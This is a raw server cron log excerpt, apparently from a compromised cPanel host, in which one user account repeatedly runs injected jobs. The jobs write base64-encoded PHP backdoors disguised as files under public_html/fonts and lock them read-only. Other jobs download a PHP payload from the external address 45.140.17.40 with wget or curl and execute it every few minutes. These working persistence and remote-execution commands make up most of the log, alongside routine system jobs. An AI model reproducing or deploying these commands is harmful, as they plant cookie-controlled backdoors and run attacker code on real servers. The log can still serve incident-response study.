Sep 22 07:53:01 ip-184-168-122-23 CROND[17939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:53:01 ip-184-168-122-23 CROND[17940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:53:01 ip-184-168-122-23 CROND[17941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:54:01 ip-184-168-122-23 CROND[18158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:54:01 ip-184-168-122-23 CROND[18159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:54:01 ip-184-168-122-23 CROND[18160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:54:01 ip-184-168-122-23 CROND[18164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:54:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:55:01 ip-184-168-122-23 CROND[18300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:55:01 ip-184-168-122-23 CROND[18298]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:55:01 ip-184-168-122-23 CROND[18302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:55:01 ip-184-168-122-23 CROND[18304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:55:01 ip-184-168-122-23 CROND[18306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:55:01 ip-184-168-122-23 CROND[18308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:56:01 ip-184-168-122-23 CROND[18426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:56:01 ip-184-168-122-23 CROND[18428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:56:01 ip-184-168-122-23 CROND[18429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:56:01 ip-184-168-122-23 CROND[18431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:56:01 ip-184-168-122-23 CROND[18432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:57:01 ip-184-168-122-23 CROND[18549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:57:01 ip-184-168-122-23 CROND[18550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:57:01 ip-184-168-122-23 CROND[18548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:57:01 ip-184-168-122-23 CROND[18551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:58:01 ip-184-168-122-23 CROND[18770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:58:01 ip-184-168-122-23 CROND[18772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:58:01 ip-184-168-122-23 CROND[18775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:58:01 ip-184-168-122-23 CROND[18774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:58:01 ip-184-168-122-23 CROND[18773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:59:01 ip-184-168-122-23 CROND[19641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:59:01 ip-184-168-122-23 CROND[19642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:59:01 ip-184-168-122-23 CROND[19643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:59:01 ip-184-168-122-23 CROND[19645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:00:01 ip-184-168-122-23 CROND[20889]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:00:01 ip-184-168-122-23 CROND[20898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20897]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:00:01 ip-184-168-122-23 CROND[20893]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 08:01:01 ip-184-168-122-23 CROND[21576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:01:01 ip-184-168-122-23 CROND[21578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 08:01:01 ip-184-168-122-23 CROND[21579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:01:01 ip-184-168-122-23 CROND[21580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:01:01 ip-184-168-122-23 CROND[21583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:01:01 ip-184-168-122-23 CROND[21584]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21584]: starting 0anacron
Sep 22 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21598]: finished 0anacron
Sep 22 08:02:02 ip-184-168-122-23 CROND[21721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:02:02 ip-184-168-122-23 CROND[21723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:02:02 ip-184-168-122-23 CROND[21725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:02:02 ip-184-168-122-23 CROND[21726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:02:02 ip-184-168-122-23 CROND[21724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:03:01 ip-184-168-122-23 CROND[21852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:03:01 ip-184-168-122-23 CROND[21854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:03:01 ip-184-168-122-23 CROND[21853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:03:01 ip-184-168-122-23 CROND[21855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:04:01 ip-184-168-122-23 CROND[22150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 08:04:01 ip-184-168-122-23 CROND[22152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 08:04:01 ip-184-168-122-23 CROND[22153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 08:04:01 ip-184-168-122-23 CROND[22158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 08:04:01 ip-184-168-122-23 CROND[22161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:05:01 ip-184-168-122-23 CROND[22538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 08:05:01 ip-184-168-122-23 CROND[22540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
